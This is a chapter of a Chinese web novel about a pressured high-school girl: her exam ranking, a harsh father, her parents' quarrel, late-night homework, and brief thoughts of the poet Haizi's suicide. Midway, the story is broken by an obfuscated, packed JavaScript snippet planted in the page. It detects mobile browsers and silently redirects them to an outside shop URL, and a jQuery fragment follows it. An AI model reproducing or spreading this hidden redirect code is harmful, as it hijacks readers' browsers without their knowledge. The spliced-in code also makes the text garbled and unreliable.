九月十五日，月考成绩出来了。


    我站在公告栏前，从密密麻麻的名字里找到自己的位置：年级第七，班级第三。数学142分，错了一道选择题。


    那道题我知道怎么做，但考试时脑子突然一片空白，像被什么东西擦过一样，留下刺眼的、空荡荡的白。


    “沈断夏，考得不错啊！”


    肩膀被拍了一下，是周扬。


    他总是考年级第一，头发永远乱糟糟的，眼镜后面是睡不醒的眼睛。


    “你数学又是满分。”我说。


    “运气好。”他咧嘴笑，露出不太整齐的牙齿，“对了，你上次那篇作文，周老师在办公室夸了好久。”


    我愣了一下：“是吗？”


    “是啊，她说你写得很‘真’。”周扬推了推眼镜，“不过李老师好像不太赞同，说学生还是应该多写阳光的东西。”


    李老师是我们的年级主任，教政治。


    我点点头，没说话。


    公告栏上的成绩单在阳光下反光，那些数字看起来有些扭曲。


    第七名，比上次退步了两名。


    父亲曾经说过的，这是不进而退。


    放学回家时，我在公交车上看见一个女孩。


    她穿着我们学校的校服，但没背书包。


    她站在街角一家奶茶店门口，仰头看着招牌，看了很久很久。


    她的侧脸在夕阳里很清晰，下巴上有一颗小小的痣。


    车子开动了，她的身影越来越小。


    我不知道她为什么不回家，不知道她看奶茶店看了那么久在想什么。


    也许她只是渴了，但没有钱买。


    这个念头突然冒出来，又很快消失。


    像石子投入深井，连回声都没有。


    到家时是六点十分。进门就听见争吵声。


    “……我说了多少次，孩子的教育不能只靠学校！”父亲的声音，很高，像绷紧的弦。


    “我没说只靠学校，我只是说……”


    “只是说什么？说她累了？谁不累？我每天工作十二个小时我不累？你当家庭主妇你有什么累的？”


    母亲的声音低下去，变成模糊的呜咽。


    我站在玄关，书包从肩膀上滑下来，掉在地上。


    声音不大，但足以让客厅里的争吵停止。


    父亲走出来，脸色铁青。


    看见我，他深吸一口气，努力让表情缓和下来。


    “回来了？月考成绩出了吗？”


    “出了。”我从书包里拿出成绩单，递给他。


    他接过去，仔细看。


    目光像探照灯，一行行扫描。


    我看见他的眉头又皱起来了，那种熟悉的、像用刻刀凿出来的纹路。


    “第七名。”他说，语气平淡，“上次校第五。”


    “数学错了一道选择题，本来……”


    “没有本来。”他把成绩单放在鞋柜上，“错了就是错了。分数丢了就是丢了。”


    母亲从厨房走出来，眼睛是红的，但脸上已经挤出笑容：“先吃饭吧，菜要凉了。”


    晚饭吃得很安静。


    只有筷子碰碗的声音，咀嚼的声音，吞咽的声音。


    电视开着，但音量调得很小，像背景里一只嗡嗡叫的苍蝇。


    红烧鱼躺在盘子中央，眼睛望着天花板。


    我记得生物课上讲过，鱼的眼睛没有眼皮，所以死了也闭不上。


    它就这么一直看着，看着我们一家三口沉默地吃饭，看着父亲给我夹了一大块鱼肚子上的肉，看着母亲把鱼头夹到自己碗里。


    “多吃点，补脑。”父亲说。


    鱼肉很嫩，但刺很多。


    我小心地挑着，一根，两根。


    但有一根很小，卡在牙缝里，怎么都弄不出来。


    饭后，父亲把我叫到书房。


    书房很大，一面墙都是书柜。


    里面摆满了书：企业管理，成功学，名人传记，还有一套精装版的《资治通鉴》。


    父亲的书桌在窗边，上面除了电脑和文件，还摆着一个铜制的摆件，上面刻着“天道酬勤”。


    “坐。”父亲指了指对面的椅子。


    我坐下。椅子是真皮的，很凉，透过校服裤子传到皮肤上。


    父亲拿起我的成绩单，又看了一遍。


    他的手指在“数学142”那个数字上点了点。


    “知道这道题为什么错吗？”


    “考试的时候太紧张了，看错了条件。”


    “紧张？”父亲抬起头，“为什么会紧张？平时做练习题会紧张吗？”


    我摇摇头。


    “那就是练习不够。”他从抽屉里拿出一本习题集，封面上印着“奥数精讲”，“从今天开始，每天加做十道。我要检查。”


    习题集很厚，砸在桌面上发出一声闷响。


    灰尘扬起来，在台灯的光柱里飞舞。


    “还有，”父亲顿了顿，“你最近是不是在看闲书？”


    我心里一紧。


    上周我从图书馆借了本《海子的诗》，藏在枕头底下。


    晚上睡觉前偷偷看几页。海子写“姐姐，今夜我不关心人类，我只想你”。


    我不太懂，但觉得那些字排列在一起很美，像雨滴打在玻璃上的痕迹。


    “没有。”我说。


    父亲看了我很久。


    他的眼睛在镜片后面，显得格外深，格外黑。


    我忽然想起小时候，有一次我撒谎说作业写完了，其实没有，他也是这样看着我，然后说：“断夏，看着我的眼睛。”


    现在我没有躲开，我看着他的眼睛，又重复了一遍：“没有。”


    我们就这样对视了大概五秒钟，也许十秒。


    时间在这种时候总是变得很奇怪，有时很长，有时很短。


    父亲率先移开了目光。


    “没有就好。”他说，声音缓和了一些，“现在是关键时期，高二了，每一分每一秒都不能浪费，等你考上好大学，想看什么书都行。”


    我点点头。


    “去吧，早点休息，别忘了加做十道题。”


    “嗯。”


    走出书房时，我听见他打开电脑的声音，键盘敲击声噼里啪啦地响起来，像雨点打在铁皮屋顶上。


    回到房间，我关上门。


    门锁还是坏的，轻轻一碰就弹开。


    我用椅子抵住门脚，虽然知道这没什么用——父亲从不未经允许进我的房间；母亲也总是先敲门。


    但这样让我觉得更安全一点。


    十道奥数题。


    我翻开习题集，第一题就是函数与几何的综合题。


    图形画得像个迷宫，条件里一堆字母：a,b,c,m,n。


    我盯着它们看，它们也盯着我看，像一群没有表情的眼睛。


    做了一个小时，只做出五道。


    剩下的五道，连思路都没有。


    胃又开始疼了，那种熟悉的、细细密密的疼。


    我从书包里找出胃药，没有水，干咽下去。药片卡在喉咙里，苦味慢慢化开，一直苦到舌根。


    窗外的天空完全黑了。


    对面的楼里亮着很多灯，一格一格的，像巨大的蜂巢。


    每个格子里都有人，都在做自己的事：写作业，看电视，吵架，或者像我一样，盯着窗外发呆。


    手机震了一下。是周扬发来的消息：“睡了吗？”


    “没，在写题。”


    “我也是。物理卷子最后一道大题你做出来了吗？”


    “没有。”


    “我做了两种解法，拍照发你？”


    “好。”


    照片很快发过来。周扬的字很工整，步骤清晰。


    我看着那些公式和推导，突然觉得很累。


    不是困，是那种从骨头缝里渗出来的累。


    “谢谢。”我回复。


    “客气啥，对了，下周要交读书笔记，你读什么？”


    “还没想好。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218415|197464||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “我打算写《百年孤独》，虽然只看了一半。”


    我想起那本《海子的诗》，还在枕头底下。


    如果写海子，周老师会喜欢吗？李老师会不会又说太消极？


    “再说吧。”我打字，“先写题。”


    放下手机，继续看剩下的五道题。


    字母在纸上跳动，像一群黑色的蚂蚁。


    我拿起笔，试图在它们中间找到一条路。


    笔尖划过纸张，发出沙沙的声音。


    这声音很熟悉，像春蚕吃桑叶，像秋风吹枯草，像时间一点点流走的声音。


    十一点半，母亲敲门进来，端着一盘切好的苹果。


    苹果片切得很薄，摆成花的形状。


    “还没写完？”她轻声问。


    “快了。”


    她站在我身后，看着我的作业。


    我感觉到她的目光，像羽毛，很轻，但落下来的时候还是会有重量。


    “你爸爸也是为你好。”她突然说。


    我没说话，继续写题。


    但笔尖顿了一下，在纸上留下一个墨点。


    “他知道你聪明，就是不够努力。”母亲的声音更轻了，“他说……他小时候想读书都没机会，现在条件好了，你不能浪费。”


    我知道这个故事。


    父亲小时候家里穷，兄弟姐妹五个，他是老大，初中毕业就去打工了，后来自己考了夜大，一步一步走到今天。


    他常说：“我要是当年有你这样的条件……”


    这个故事我听过很多遍。


    每一次听，肩上的重量就增加一分。


    “我知道。”我说。


    母亲在我肩膀上轻轻拍了拍，然后出去了。


    门又虚掩着，留了一道缝。


    苹果片在盘子里慢慢氧化，边缘开始发黄。


    我拿起一片放进嘴里，很甜，甜得发腻。


    终于，十二点前，我做出了第八道题。


    第九题和第十题，实在做不出来了。


    我照着答案抄了解题步骤，字写得很快，很潦草。


    合上习题集时，我的手指在颤抖。


    我打开那个深蓝色的笔记本。


    已经写了好几页了，都是些零碎的句子，像散落的珠子，穿不成项链。


    今天这一页，我写下：


    “父亲说，错了就是错了。分丢了就是丢了。”


    “但有些错误，连改正的机会都没有。”


    “就像鱼死了，眼睛永远闭不上。”


    写到这里，我停住了。


    忽然想起晚饭时的那条鱼，它躺在盘子里，眼睛望着天花板。


    现在它在哪儿？在垃圾桶里，还是在猫的肚子里？


    我不知道。


    窗外有猫叫，一声接一声，很凄厉。


    春天了，猫都在叫春。


    它们想要什么，就叫出来。


    很简单，很直接。


    我关上台灯，在黑暗里躺下。


    天花板上的光带还在，还是细细的一道，把黑暗切成两半。


    今天过去了。


    明天要交读书笔记，要考英语单词，要补交化学实验报告。


    明天父亲会检查那十道题。


    明天母亲还会在我书包里放一盒牛奶，说补钙。


    今天和明天，明天和后天，连成一条线，笔直，狭窄，没有岔路。


    闭上眼睛前，我听见书房里传来父亲咳嗽的声音。


    是很重的咳嗽声，像是要把肺都咳出来。


    一下，两下，三下。


    然后停了。


    世界重新陷入寂静。


    我伸手摸了摸枕头底下。《海子的诗》还在，硬硬的书脊抵着手指。


    海子最后是怎么死的？卧轨吗？


    火车碾过身体的时候，他会感觉到疼吗？


    还是说，在那之前，心就已经死了？


    这个念头很危险。


    我知道。所以我没有再想下去。